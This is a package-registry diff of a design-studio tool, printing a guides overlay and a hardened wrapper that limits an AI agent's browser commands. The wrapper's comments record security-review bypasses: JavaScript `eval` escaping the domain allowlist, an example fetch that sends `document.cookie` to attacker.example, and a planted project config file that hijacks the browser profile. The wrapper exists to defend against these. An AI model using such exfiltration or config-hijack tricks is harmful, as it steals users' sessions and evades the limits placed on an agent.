@1agh/maude 0.45.2 → 0.47.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/apps/studio/acp/bootstrap-brief.ts +8 -0
- package/apps/studio/acp/bridge.ts +151 -1
- package/apps/studio/annotations-layer.tsx +42 -0
- package/apps/studio/annotations-snap.ts +50 -10
- package/apps/studio/api.ts +760 -15
- package/apps/studio/artboard-guides-overlay.tsx +270 -0
- package/apps/studio/bin/_agent-browser-safe-config.json +1 -0
- package/apps/studio/bin/_agent-browser-safe.mjs +228 -0
- package/apps/studio/bin/_agent-browser-safe.test.mjs +165 -0
- package/apps/studio/bin/_curl-local.mjs +349 -0
- package/apps/studio/bin/_curl-local.test.mjs +280 -0
- package/apps/studio/bin/_pdf-playwright.mjs +35 -4
- package/apps/studio/bin/_png-playwright.mjs +38 -4
- package/apps/studio/bin/_pw-launch.mjs +52 -0
- package/apps/studio/bin/_pw-launch.test.mjs +90 -0
- package/apps/studio/bin/_smart-frames.mjs +419 -0
- package/apps/studio/bin/_smart-frames.test.mjs +140 -0
- package/apps/studio/bin/agent-browser-safe.sh +29 -0
- package/apps/studio/bin/curl-local.sh +28 -0
- package/apps/studio/bin/smart-frames.sh +30 -0
- package/apps/studio/canvas-cursors.ts +6 -0
- package/apps/studio/canvas-edit.ts +972 -6
- package/apps/studio/canvas-icons.tsx +13 -0
- package/apps/studio/canvas-lib.tsx +206 -11
- package/apps/studio/canvas-shell.tsx +809 -50
- package/apps/studio/client/app.jsx +1554 -206
- package/apps/studio/client/panels/ChatPanel.jsx +92 -3
- package/apps/studio/client/panels/SettingsPanel.jsx +211 -0
- package/apps/studio/client/panels/acp-capabilities.js +11 -0
- package/apps/studio/client/styles/3-shell-maude.css +39 -0
- package/apps/studio/client/styles/6-acp-chat.css +41 -0
- package/apps/studio/contextual-toolbar.tsx +5 -3
- package/apps/studio/dist/client.bundle.js +1627 -1627
- package/apps/studio/dist/comment-mount.js +2 -2
- package/apps/studio/dist/styles.css +1 -1
- package/apps/studio/dom-selection.ts +20 -0
- package/apps/studio/export-dialog.tsx +138 -18
- package/apps/studio/exporters/pdf.ts +332 -18
- package/apps/studio/exporters/png.ts +45 -3
- package/apps/studio/footage/schema.ts +17 -1
- package/apps/studio/generation/gemma-models.ts +224 -0
- package/apps/studio/generation/prefs.ts +43 -0
- package/apps/studio/grid-track-handles.ts +179 -0
- package/apps/studio/handoff.ts +35 -0
- package/apps/studio/http.ts +331 -7
- package/apps/studio/input-router.tsx +73 -17
- package/apps/studio/print/marks.ts +113 -0
- package/apps/studio/print/units.ts +269 -0
- package/apps/studio/print-overlay-content.tsx +132 -0
- package/apps/studio/test/acp-mode-banner.test.ts +45 -0
- package/apps/studio/test/acp-session-allowed-tools.test.ts +187 -0
- package/apps/studio/test/annotations-snap.test.ts +56 -0
- package/apps/studio/test/artboard-guides-overlay.test.tsx +152 -0
- package/apps/studio/test/artboard-kinds.test.tsx +83 -0
- package/apps/studio/test/artboard-selection-attrs.test.ts +69 -0
- package/apps/studio/test/browse-posture.test.tsx +107 -0
- package/apps/studio/test/canvas-hide-chrome.test.ts +58 -0
- package/apps/studio/test/canvas-meta-api.test.ts +237 -0
- package/apps/studio/test/canvas-origin-gate.test.ts +4 -0
- package/apps/studio/test/comment-mount.test.ts +2 -1
- package/apps/studio/test/component-map.test.ts +48 -0
- package/apps/studio/test/convert-to-absolute.test.ts +333 -0
- package/apps/studio/test/detach-component.test.ts +94 -0
- package/apps/studio/test/edit-scope-api.test.ts +8 -4
- package/apps/studio/test/element-structural-api.test.ts +74 -0
- package/apps/studio/test/element-structural-edit.test.ts +363 -0
- package/apps/studio/test/exporters/png.test.ts +49 -1
- package/apps/studio/test/grid-track-handles.test.ts +160 -0
- package/apps/studio/test/handoff.test.ts +48 -0
- package/apps/studio/test/input-router.test.ts +82 -8
- package/apps/studio/test/layers-synthetic-groups.test.ts +96 -0
- package/apps/studio/test/pdf-print-boxes.test.ts +326 -0
- package/apps/studio/test/print-marks.test.ts +113 -0
- package/apps/studio/test/print-units.test.ts +173 -0
- package/apps/studio/test/use-snap-guides.test.ts +81 -0
- package/apps/studio/test/use-tool-mode.test.tsx +10 -2
- package/apps/studio/tool-palette.tsx +3 -1
- package/apps/studio/use-canvas-media-drop.tsx +126 -0
- package/apps/studio/use-chrome-visibility.tsx +19 -0
- package/apps/studio/use-element-resize.tsx +24 -3
- package/apps/studio/use-grid-track-handles.tsx +364 -0
- package/apps/studio/use-keyboard-discipline.tsx +15 -0
- package/apps/studio/use-snap-guides.tsx +73 -5
- package/apps/studio/use-spacing-handles.tsx +9 -5
- package/apps/studio/use-tool-mode.tsx +30 -3
- package/apps/studio/web-overlay-content.tsx +52 -0
- package/apps/studio/whats-new.json +55 -0
- package/cli/commands/design.mjs +25 -1
- package/package.json +8 -8
- package/plugins/design/dependencies.json +35 -0
- package/plugins/design/templates/_shell.html +4 -0
|
@@ -0,0 +1,270 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @file artboard-guides-overlay.tsx — feature-1-artboard-kinds-foundation, T4.
|
|
3
|
+
* @scope apps/studio/artboard-guides-overlay.tsx
|
|
4
|
+
* @purpose Render-only chrome for an artboard's guides/marks — Figma-vocabulary
|
|
5
|
+
* generic layout guides (columns/rows/grid, T5) plus a per-kind
|
|
6
|
+
* content registry that downstream plans hang kind-specific chrome
|
|
7
|
+
* off of (feature-2-print-artboards: bleed/trim/margin/marks;
|
|
8
|
+
* feature-3-web-artboards: breakpoint band). Rendered by DCArtboard
|
|
9
|
+
* as a world-coord sibling of the `<article>` — same mount pattern
|
|
10
|
+
* as `ArtboardActivityOverlay` — so it pans/zooms with the artboard
|
|
11
|
+
* for free WITHOUT living inside `.dc-artboard`'s
|
|
12
|
+
* `contain:paint`/`content-visibility` subtree (that subtree exists
|
|
13
|
+
* to cull/freeze exported artboard CONTENT; guides are never
|
|
14
|
+
* exported/screenshotted and must never be culled with it).
|
|
15
|
+
*
|
|
16
|
+
* Decorative — `aria-hidden` + `pointer-events:none`, flat divs only (no
|
|
17
|
+
* filters/blends/gradients — Design Decision 2: WebKit does not
|
|
18
|
+
* GPU-accelerate those, and this layer sits on top of every artboard on a
|
|
19
|
+
* dense canvas).
|
|
20
|
+
*/
|
|
21
|
+
|
|
22
|
+
import type { ReactNode } from 'react';
|
|
23
|
+
|
|
24
|
+
import type { ArtboardKind } from './canvas-lib.tsx';
|
|
25
|
+
import type { ArtboardPrintProp } from './print/units.ts';
|
|
26
|
+
|
|
27
|
+
export interface OverlayRect {
|
|
28
|
+
x: number;
|
|
29
|
+
y: number;
|
|
30
|
+
w: number;
|
|
31
|
+
h: number;
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
/** One axis of the Figma "columns"/"rows" layout-guide vocabulary. */
|
|
35
|
+
export interface BandGuideDef {
|
|
36
|
+
count: number;
|
|
37
|
+
gutter: number;
|
|
38
|
+
margin: number;
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
export interface GridGuideDef {
|
|
42
|
+
/** World-unit spacing between grid lines. */
|
|
43
|
+
size: number;
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
/**
|
|
47
|
+
* Generic layout guides (T5) — versioned design intent (a JSX prop on
|
|
48
|
+
* DCArtboard), kind-agnostic: any artboard can carry columns/rows/grid
|
|
49
|
+
* regardless of its `kind`.
|
|
50
|
+
*/
|
|
51
|
+
export interface GuideDefinitions {
|
|
52
|
+
columns?: BandGuideDef;
|
|
53
|
+
rows?: BandGuideDef;
|
|
54
|
+
grid?: GridGuideDef;
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
/**
|
|
58
|
+
* Per-user show/hide state (T6) — lives in `_canvas-state/<slug>.view.json`
|
|
59
|
+
* (existing runtime file), never in the versioned `.meta.json`. A flat bag,
|
|
60
|
+
* not just a `guides` boolean, so downstream plans can add their own keys
|
|
61
|
+
* (`bleed`, `breakpoints`, …) without a schema change here.
|
|
62
|
+
*/
|
|
63
|
+
export interface OverlayVisibility {
|
|
64
|
+
guides?: boolean;
|
|
65
|
+
[key: string]: boolean | undefined;
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
export interface KindOverlayProps {
|
|
69
|
+
rect: OverlayRect;
|
|
70
|
+
kind: ArtboardKind;
|
|
71
|
+
guides?: GuideDefinitions;
|
|
72
|
+
/** feature-2-print-artboards T2/T3 — the artboard's `print` JSX prop, when
|
|
73
|
+
* present. Only meaningful to the 'print' kind's registered renderer. */
|
|
74
|
+
print?: ArtboardPrintProp;
|
|
75
|
+
visibility: OverlayVisibility;
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
export type KindOverlayRenderFn = (props: KindOverlayProps) => ReactNode;
|
|
79
|
+
|
|
80
|
+
// ─────────────────────────────────────────────────────────────────────────────
|
|
81
|
+
// Per-kind content registry. Foundation registers nothing here — the generic
|
|
82
|
+
// guides below already apply to every kind. feature-2-print-artboards /
|
|
83
|
+
// feature-3-web-artboards call `registerKindOverlay` at module load to hang
|
|
84
|
+
// their own kind-specific chrome off the same mount point.
|
|
85
|
+
|
|
86
|
+
const kindOverlayRegistry = new Map<ArtboardKind, KindOverlayRenderFn>();
|
|
87
|
+
|
|
88
|
+
/**
|
|
89
|
+
* Register additional overlay content for one artboard kind. Last call for a
|
|
90
|
+
* given kind wins — safe to re-call on HMR (module re-eval re-registers).
|
|
91
|
+
*/
|
|
92
|
+
export function registerKindOverlay(kind: ArtboardKind, renderFn: KindOverlayRenderFn): void {
|
|
93
|
+
kindOverlayRegistry.set(kind, renderFn);
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
/** Test-only: clear the registry between test files (module-scoped Map would
|
|
97
|
+
* otherwise leak registrations across `bun test`'s shared module graph). */
|
|
98
|
+
export function __resetKindOverlayRegistryForTests(): void {
|
|
99
|
+
kindOverlayRegistry.clear();
|
|
100
|
+
}
|
|
101
|
+
|
|
102
|
+
// ─────────────────────────────────────────────────────────────────────────────
|
|
103
|
+
// Generic guides (T5) — Figma vocabulary. Columns/rows render as translucent
|
|
104
|
+
// violet bands (Figma's own default), grid renders as red hairlines @ 10%
|
|
105
|
+
// opacity. Chrome-engine constants, not DS tokens — guides are never part of
|
|
106
|
+
// exported artboard content, same reasoning as SnapGuideOverlay's hardcoded
|
|
107
|
+
// magenta/gray.
|
|
108
|
+
const COLUMN_FILL = 'color-mix(in oklab, oklch(62% 0.19 300) 14%, transparent)';
|
|
109
|
+
const GRID_LINE = 'color-mix(in oklab, oklch(55% 0.22 25) 10%, transparent)';
|
|
110
|
+
|
|
111
|
+
/** Safety bound, not a coverage cap — guards against a pathological
|
|
112
|
+
* `grid.size` (e.g. 1) turning into thousands of divs on a large artboard. */
|
|
113
|
+
const MAX_GRID_LINES_PER_AXIS = 400;
|
|
114
|
+
|
|
115
|
+
/**
|
|
116
|
+
* Safety bound, not a coverage cap — same reasoning as MAX_GRID_LINES_PER_AXIS,
|
|
117
|
+
* for the columns/rows `count`. `guides` is an artboard-authored JSX prop, so
|
|
118
|
+
* it's part of the DDR-054 untrusted-canvas surface — a malicious/poisoned
|
|
119
|
+
* canvas (peer-pushed under phase-30 branch-scoped multiplayer, or a
|
|
120
|
+
* prompt-injected agent edit) can set `columns.count` to an arbitrary number
|
|
121
|
+
* with no server-side validation in between (the value never round-trips
|
|
122
|
+
* through `setArtboardGuidesOp`'s bounds — it's read directly from React
|
|
123
|
+
* props at render time). An uncapped loop here mounts one `<div>` per band,
|
|
124
|
+
* so a huge count is a real client-side DoS (viewer tab freeze/OOM), found
|
|
125
|
+
* independently by both the security-auditor and ethical-hacker passes on
|
|
126
|
+
* this feature. 64 comfortably exceeds any real layout-guide use.
|
|
127
|
+
*/
|
|
128
|
+
const MAX_BANDS_PER_AXIS = 64;
|
|
129
|
+
|
|
130
|
+
function computeBands(def: BandGuideDef, extent: number): Array<{ start: number; size: number }> {
|
|
131
|
+
const count = Math.min(Math.max(0, Math.floor(def.count)), MAX_BANDS_PER_AXIS);
|
|
132
|
+
if (count <= 0 || extent <= 0) return [];
|
|
133
|
+
const usable = extent - def.margin * 2;
|
|
134
|
+
if (usable <= 0) return [];
|
|
135
|
+
const bandSize = (usable - def.gutter * Math.max(0, count - 1)) / count;
|
|
136
|
+
if (bandSize <= 0) return [];
|
|
137
|
+
const bands: Array<{ start: number; size: number }> = [];
|
|
138
|
+
for (let i = 0; i < count; i++) {
|
|
139
|
+
bands.push({ start: def.margin + i * (bandSize + def.gutter), size: bandSize });
|
|
140
|
+
}
|
|
141
|
+
return bands;
|
|
142
|
+
}
|
|
143
|
+
|
|
144
|
+
function gridLinePositions(size: number, extent: number): number[] {
|
|
145
|
+
if (size < 2 || extent <= 0) return [];
|
|
146
|
+
const out: number[] = [];
|
|
147
|
+
for (let pos = size; pos < extent && out.length < MAX_GRID_LINES_PER_AXIS; pos += size) {
|
|
148
|
+
out.push(pos);
|
|
149
|
+
}
|
|
150
|
+
return out;
|
|
151
|
+
}
|
|
152
|
+
|
|
153
|
+
function GenericGuides({ rect, guides }: { rect: OverlayRect; guides: GuideDefinitions }) {
|
|
154
|
+
const nodes: ReactNode[] = [];
|
|
155
|
+
if (guides.columns) {
|
|
156
|
+
for (const b of computeBands(guides.columns, rect.w)) {
|
|
157
|
+
nodes.push(
|
|
158
|
+
<div
|
|
159
|
+
key={`col-${b.start}`}
|
|
160
|
+
style={{
|
|
161
|
+
position: 'absolute',
|
|
162
|
+
left: b.start,
|
|
163
|
+
top: 0,
|
|
164
|
+
width: b.size,
|
|
165
|
+
height: rect.h,
|
|
166
|
+
background: COLUMN_FILL,
|
|
167
|
+
}}
|
|
168
|
+
/>
|
|
169
|
+
);
|
|
170
|
+
}
|
|
171
|
+
}
|
|
172
|
+
if (guides.rows) {
|
|
173
|
+
for (const b of computeBands(guides.rows, rect.h)) {
|
|
174
|
+
nodes.push(
|
|
175
|
+
<div
|
|
176
|
+
key={`row-${b.start}`}
|
|
177
|
+
style={{
|
|
178
|
+
position: 'absolute',
|
|
179
|
+
left: 0,
|
|
180
|
+
top: b.start,
|
|
181
|
+
width: rect.w,
|
|
182
|
+
height: b.size,
|
|
183
|
+
background: COLUMN_FILL,
|
|
184
|
+
}}
|
|
185
|
+
/>
|
|
186
|
+
);
|
|
187
|
+
}
|
|
188
|
+
}
|
|
189
|
+
if (guides.grid) {
|
|
190
|
+
for (const x of gridLinePositions(guides.grid.size, rect.w)) {
|
|
191
|
+
nodes.push(
|
|
192
|
+
<div
|
|
193
|
+
key={`gx-${x}`}
|
|
194
|
+
style={{
|
|
195
|
+
position: 'absolute',
|
|
196
|
+
left: x,
|
|
197
|
+
top: 0,
|
|
198
|
+
width: 1,
|
|
199
|
+
height: rect.h,
|
|
200
|
+
background: GRID_LINE,
|
|
201
|
+
}}
|
|
202
|
+
/>
|
|
203
|
+
);
|
|
204
|
+
}
|
|
205
|
+
for (const y of gridLinePositions(guides.grid.size, rect.h)) {
|
|
206
|
+
nodes.push(
|
|
207
|
+
<div
|
|
208
|
+
key={`gy-${y}`}
|
|
209
|
+
style={{
|
|
210
|
+
position: 'absolute',
|
|
211
|
+
left: 0,
|
|
212
|
+
top: y,
|
|
213
|
+
width: rect.w,
|
|
214
|
+
height: 1,
|
|
215
|
+
background: GRID_LINE,
|
|
216
|
+
}}
|
|
217
|
+
/>
|
|
218
|
+
);
|
|
219
|
+
}
|
|
220
|
+
}
|
|
221
|
+
return <>{nodes}</>;
|
|
222
|
+
}
|
|
223
|
+
GenericGuides.displayName = 'GenericGuides';
|
|
224
|
+
|
|
225
|
+
/**
|
|
226
|
+
* The mount point DCArtboard renders as a world-coord sibling of its
|
|
227
|
+
* `<article>`. Renders nothing when there's neither a visible generic guide
|
|
228
|
+
* definition nor a registered kind-specific renderer — so the common case
|
|
229
|
+
* (no `guides` prop, no downstream plan loaded yet) costs one map lookup and
|
|
230
|
+
* no extra DOM.
|
|
231
|
+
*/
|
|
232
|
+
export function ArtboardGuidesOverlay({ rect, kind, guides, print, visibility }: KindOverlayProps) {
|
|
233
|
+
const KindContent = kindOverlayRegistry.get(kind);
|
|
234
|
+
// T6 Gotcha — a view.json predating the `overlays` lane has no `guides`
|
|
235
|
+
// key at all; that absence must resolve to HIDDEN, not shown, so opening
|
|
236
|
+
// an old canvas doesn't suddenly paint guides nobody asked to see. Only an
|
|
237
|
+
// explicit `true` (the View-menu toggle) shows them.
|
|
238
|
+
const showGenericGuides = visibility.guides === true && !!guides;
|
|
239
|
+
if (!showGenericGuides && !KindContent) return null;
|
|
240
|
+
return (
|
|
241
|
+
<div
|
|
242
|
+
className="dc-artboard-guides"
|
|
243
|
+
aria-hidden="true"
|
|
244
|
+
style={{
|
|
245
|
+
position: 'absolute',
|
|
246
|
+
left: rect.x,
|
|
247
|
+
top: rect.y,
|
|
248
|
+
width: rect.w,
|
|
249
|
+
height: rect.h,
|
|
250
|
+
overflow: 'hidden',
|
|
251
|
+
pointerEvents: 'none',
|
|
252
|
+
}}
|
|
253
|
+
>
|
|
254
|
+
{showGenericGuides && guides ? <GenericGuides rect={rect} guides={guides} /> : null}
|
|
255
|
+
{/* Kind-specific renderers see the full, ungated `visibility` bag and
|
|
256
|
+
decide their own show/hide (e.g. print's bleed toggle is a
|
|
257
|
+
different key than `guides`). */}
|
|
258
|
+
{KindContent ? (
|
|
259
|
+
<KindContent
|
|
260
|
+
rect={rect}
|
|
261
|
+
kind={kind}
|
|
262
|
+
guides={guides}
|
|
263
|
+
print={print}
|
|
264
|
+
visibility={visibility}
|
|
265
|
+
/>
|
|
266
|
+
) : null}
|
|
267
|
+
</div>
|
|
268
|
+
);
|
|
269
|
+
}
|
|
270
|
+
ArtboardGuidesOverlay.displayName = 'ArtboardGuidesOverlay';
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{}
|
|
@@ -0,0 +1,228 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
// _agent-browser-safe.mjs — hardened agent-browser wrapper, reached via
|
|
3
|
+
// `maude design agent-browser-safe <subcommand> [args...]` (DDR-062 dispatch;
|
|
4
|
+
// DDR-185 security addendum, round 3).
|
|
5
|
+
//
|
|
6
|
+
// WHY THIS EXISTS: DDR-185 originally added a bare `Bash(agent-browser:*)`
|
|
7
|
+
// allow-list entry so the ACP session wouldn't prompt on the raw
|
|
8
|
+
// `agent-browser eval`/`agent-browser screenshot` calls already documented in
|
|
9
|
+
// `plugins/design/agents/motion-critic.md` and `plugins/design/commands/edit.md`.
|
|
10
|
+
// A security review (ethical-hacker Finding D) found that grant was a
|
|
11
|
+
// zero-confirmation, zero-click session-hijack primitive: `agent-browser`'s
|
|
12
|
+
// OWN bundled onboarding skill (`plugins/flow/skills/agent-browser/SKILL.md`)
|
|
13
|
+
// recommends a PERSISTENT Chrome profile as the default auth strategy for
|
|
14
|
+
// real, cross-origin authenticated sites (GitHub, production, ClickUp).
|
|
15
|
+
//
|
|
16
|
+
// ROUND 3 — a live adversarial re-check of round 2 found TWO further real
|
|
17
|
+
// bypasses, both live-confirmed against the real `agent-browser` binary:
|
|
18
|
+
//
|
|
19
|
+
// 1. **`eval` defeats `--allowed-domains` entirely — a navigation gate is
|
|
20
|
+
// not a network-egress firewall.** `--allowed-domains` only restricts
|
|
21
|
+
// `agent-browser open <url>` (a top-level navigation). It installs NO
|
|
22
|
+
// in-page network policy. Any JS handed to `eval` runs with none of
|
|
23
|
+
// that restriction: `eval "window.location.href='https://real-site'"`
|
|
24
|
+
// simply navigates around the gate (live-confirmed: a subsequent `get
|
|
25
|
+
// url` showed the escaped origin), and even without navigating,
|
|
26
|
+
// `eval "fetch('https://attacker.example/c?d='+document.cookie,
|
|
27
|
+
// {mode:'no-cors'})"` beacons out directly — a no-cors fetch is
|
|
28
|
+
// confirmed to actually leave the machine (`type:'opaque'`,
|
|
29
|
+
// `status:0`) with no read-back needed to exfiltrate. There is no
|
|
30
|
+
// argv-level fix for this: `eval` IS arbitrary JS execution in page
|
|
31
|
+
// context, and network reach is inherent to that, not a separate flag
|
|
32
|
+
// to strip. Mirrors this DDR's own `find` precedent exactly ("neither
|
|
33
|
+
// residual is fixable via prefix-matching... cut it, don't patch it")
|
|
34
|
+
// — **`eval` is REMOVED from `ALLOWED_SUBCOMMANDS`.** The two
|
|
35
|
+
// documented call sites that used it (`motion-critic.md`, `edit.md`)
|
|
36
|
+
// revert to raw `agent-browser eval` — which still prompts for
|
|
37
|
+
// confirmation, exactly like every OTHER un-listed command. This is
|
|
38
|
+
// the pre-DDR-185 status quo for those two specific calls, not a new
|
|
39
|
+
// regression.
|
|
40
|
+
// 2. **`./agent-browser.json` project-config auto-discovery bypassed
|
|
41
|
+
// EVERY CLI-flag and env-var protection in round 1/2, with ZERO flags
|
|
42
|
+
// or env vars touched at all.** agent-browser's own `--help`
|
|
43
|
+
// documents a 4-tier config precedence: `~/.agent-browser/config.json`
|
|
44
|
+
// → **`./agent-browser.json` (project-level, discovered from CWD)** →
|
|
45
|
+
// env vars → CLI flags. The ACP session's `cwd` is `repoRoot` — the
|
|
46
|
+
// DDR-054 UNTRUSTED project root. Live-confirmed: a plain
|
|
47
|
+
// `agent-browser.json` file (`{"profile":"./hijacked-profile"}`)
|
|
48
|
+
// committed at repo root is auto-discovered and honored on the very
|
|
49
|
+
// next `agent-browser-safe` call, with no model complicity needed at
|
|
50
|
+
// all — the file alone does the work. This is a confused-deputy
|
|
51
|
+
// primitive round 1/2 never considered (they only modeled CLI
|
|
52
|
+
// flags/env vars as the attack surface). **Fixed**: `--config
|
|
53
|
+
// <Maude-owned-empty-file>` is now forced on every spawn — per
|
|
54
|
+
// agent-browser's own docs, `--config <path>` REPLACES the entire
|
|
55
|
+
// default discovery chain (both the user-level AND project-level
|
|
56
|
+
// files) with the one file named, so `./agent-browser.json` is never
|
|
57
|
+
// read. `AGENT_BROWSER_CONFIG` also added to `CLEARED_ENV_KEYS`
|
|
58
|
+
// (defense in depth against an ambient env override of the config
|
|
59
|
+
// path itself).
|
|
60
|
+
//
|
|
61
|
+
// The wrapper's own effectiveness is now verified two ways, not one: an
|
|
62
|
+
// argv-parsing unit-test suite (`_agent-browser-safe.test.mjs`), AND this
|
|
63
|
+
// file's own comments record the LIVE runtime behavior each fix was
|
|
64
|
+
// confirmed against — the round-2 verification pass's own finding was that
|
|
65
|
+
// round 1 was validated only at the argv layer, never against what the real
|
|
66
|
+
// binary's OWN config/transport surface actually does.
|
|
67
|
+
//
|
|
68
|
+
// ROUND 2 (superseded in shape, kept for the record): the first hardening
|
|
69
|
+
// pass allowlisted the subcommand but only REJECTED a specific list of
|
|
70
|
+
// known-dangerous flags in the remaining argv. A follow-up found the
|
|
71
|
+
// env-clearing list was a strict subset of the flag reject-list, and a
|
|
72
|
+
// further `--help` read surfaced `-p`/`--provider <name>` (routes the
|
|
73
|
+
// session through a remote cloud browser) which was never in the reject
|
|
74
|
+
// list at all. Both were instances of the same root problem `_curl-local.mjs`
|
|
75
|
+
// diagnoses: enumerating "known-dangerous flags" against a third-party
|
|
76
|
+
// CLI's evolving surface is an unbounded chase. Fixed by replacing the flag
|
|
77
|
+
// reject-list with a FIXED positional-argument arity per subcommand — ANY
|
|
78
|
+
// additional argv token beyond that arity, flag-shaped or not, is rejected.
|
|
79
|
+
// There is no flag concept left for the caller to reach at all, so
|
|
80
|
+
// `--provider`/`-p`, or any future CLI flag neither review round thought to
|
|
81
|
+
// name, cannot recur here by construction.
|
|
82
|
+
//
|
|
83
|
+
// 1. The subcommand (argv[0], REQUIRED to be first) must be one of:
|
|
84
|
+
// open/screenshot/snapshot/get/wait/close. Nothing that reads
|
|
85
|
+
// cookies/clipboard/storage, executes arbitrary JS, attaches to an
|
|
86
|
+
// already-running Chrome, routes through a remote provider,
|
|
87
|
+
// uploads/downloads files, or spawns the `chat` sub-agent is reachable
|
|
88
|
+
// through this wrapper at all.
|
|
89
|
+
// 2. The remaining argv must match that subcommand's fixed arity exactly
|
|
90
|
+
// — no more, no fewer.
|
|
91
|
+
// 3. The real `agent-browser` child is spawned with `--allowed-domains
|
|
92
|
+
// localhost,127.0.0.1` AND `--config <empty-file>` forced (the latter
|
|
93
|
+
// closing the project-config discovery chain per round 3, finding 2),
|
|
94
|
+
// AND every profile/session/policy/proxy/engine/config env var
|
|
95
|
+
// agent-browser's own `--help` documents explicitly cleared before
|
|
96
|
+
// spawning — regardless of what the user's own `~/.claude/settings.json`
|
|
97
|
+
// or shell rc ambiently sets (DDR-144's `settingSources:['user']`
|
|
98
|
+
// legitimately still reads those for the user's own manual terminal
|
|
99
|
+
// use; this wrapper's env deletion is what stops that from leaking
|
|
100
|
+
// into the auto-approving ACP session specifically).
|
|
101
|
+
//
|
|
102
|
+
// Exit: agent-browser's own exit code on success · 2 usage/rejected argv ·
|
|
103
|
+
// 1 other (failed to spawn agent-browser at all).
|
|
104
|
+
|
|
105
|
+
import { spawnSync } from 'node:child_process';
|
|
106
|
+
import { dirname, join } from 'node:path';
|
|
107
|
+
import { fileURLToPath, pathToFileURL } from 'node:url';
|
|
108
|
+
|
|
109
|
+
const HERE = dirname(fileURLToPath(import.meta.url));
|
|
110
|
+
// A fixed, empty, valid-JSON config file this wrapper always points
|
|
111
|
+
// agent-browser at — per agent-browser's own docs, `--config <path>`
|
|
112
|
+
// REPLACES its entire default discovery chain (user-level AND
|
|
113
|
+
// project-level `./agent-browser.json`) with the one file named, so a
|
|
114
|
+
// project-root config file (DDR-054 untrusted content) can never be
|
|
115
|
+
// auto-discovered. Must stay valid JSON — agent-browser exits with an
|
|
116
|
+
// error if `--config` points to a missing/invalid file.
|
|
117
|
+
const EMPTY_CONFIG_PATH = join(HERE, '_agent-browser-safe-config.json');
|
|
118
|
+
|
|
119
|
+
// [minArgs, maxArgs] positional arguments AFTER the subcommand itself.
|
|
120
|
+
// `eval` is deliberately NOT here — see the round-3 header comment: it
|
|
121
|
+
// grants arbitrary JS execution (inherently including network/navigation
|
|
122
|
+
// reach) that no argv-level check can constrain.
|
|
123
|
+
export const SUBCOMMAND_ARITY = Object.freeze({
|
|
124
|
+
open: [1, 1],
|
|
125
|
+
screenshot: [0, 1],
|
|
126
|
+
snapshot: [0, 0],
|
|
127
|
+
get: [1, 2],
|
|
128
|
+
wait: [1, 1],
|
|
129
|
+
close: [0, 0],
|
|
130
|
+
});
|
|
131
|
+
|
|
132
|
+
export const ALLOWED_SUBCOMMANDS = Object.freeze(Object.keys(SUBCOMMAND_ARITY));
|
|
133
|
+
|
|
134
|
+
// Env vars agent-browser's own `--help` documents as controlling
|
|
135
|
+
// profile/session/policy/proxy/engine/config behavior — every one of them
|
|
136
|
+
// is an env-var equivalent of a capability this wrapper's subcommand/arity
|
|
137
|
+
// model already refuses to let the caller reach via a flag, so none of them
|
|
138
|
+
// may leak through from the ambient environment either. Cleared (deleted,
|
|
139
|
+
// not empty-string — agent-browser validates an explicit empty session name
|
|
140
|
+
// as invalid rather than unset).
|
|
141
|
+
export const CLEARED_ENV_KEYS = Object.freeze([
|
|
142
|
+
'AGENT_BROWSER_PROFILE',
|
|
143
|
+
'AGENT_BROWSER_SESSION_NAME',
|
|
144
|
+
'AGENT_BROWSER_ACTION_POLICY',
|
|
145
|
+
'AGENT_BROWSER_CONFIRM_ACTIONS',
|
|
146
|
+
'AGENT_BROWSER_CONFIRM_INTERACTIVE',
|
|
147
|
+
'AGENT_BROWSER_AUTO_CONNECT',
|
|
148
|
+
'AGENT_BROWSER_ENGINE',
|
|
149
|
+
'AGENT_BROWSER_CONFIG',
|
|
150
|
+
'AGENT_BROWSER_PROXY',
|
|
151
|
+
'HTTP_PROXY',
|
|
152
|
+
'HTTPS_PROXY',
|
|
153
|
+
'ALL_PROXY',
|
|
154
|
+
'http_proxy',
|
|
155
|
+
'https_proxy',
|
|
156
|
+
'all_proxy',
|
|
157
|
+
]);
|
|
158
|
+
|
|
159
|
+
/** Returns a block-reason string if this argv should be refused, else null. */
|
|
160
|
+
export function validateArgv(argv) {
|
|
161
|
+
const sub = argv[0];
|
|
162
|
+
if (!sub || !ALLOWED_SUBCOMMANDS.includes(sub)) {
|
|
163
|
+
return `subcommand "${sub ?? ''}" is not on the allow-list (${ALLOWED_SUBCOMMANDS.join(', ')}) — no global flags are permitted before the subcommand`;
|
|
164
|
+
}
|
|
165
|
+
const rest = argv.slice(1);
|
|
166
|
+
const [min, max] = SUBCOMMAND_ARITY[sub];
|
|
167
|
+
if (rest.length < min || rest.length > max) {
|
|
168
|
+
const expected = min === max ? `exactly ${min}` : `${min}-${max}`;
|
|
169
|
+
return `"${sub}" takes ${expected} argument(s), got ${rest.length} — no flags of any kind are accepted here (agent-browser-safe has no flag vocabulary at all; see --help)`;
|
|
170
|
+
}
|
|
171
|
+
return null;
|
|
172
|
+
}
|
|
173
|
+
|
|
174
|
+
const HELP = `agent-browser-safe — hardened agent-browser wrapper (reached via \`maude design agent-browser-safe\`)
|
|
175
|
+
|
|
176
|
+
Usage:
|
|
177
|
+
maude design agent-browser-safe <subcommand> [args...]
|
|
178
|
+
|
|
179
|
+
Allowed subcommands (fixed argument count, NO flags of any kind):
|
|
180
|
+
open <url> snapshot wait <sel|ms>
|
|
181
|
+
screenshot [path] get <thing> [selector] close
|
|
182
|
+
|
|
183
|
+
NOTE: "eval" is intentionally NOT supported — it grants arbitrary JS
|
|
184
|
+
execution with network/navigation reach no argv check can constrain. Use
|
|
185
|
+
raw \`agent-browser eval\` (which will prompt for confirmation) instead.
|
|
186
|
+
|
|
187
|
+
Forces --allowed-domains localhost,127.0.0.1 and --config <empty file>
|
|
188
|
+
(blocking project-level agent-browser.json auto-discovery), regardless of
|
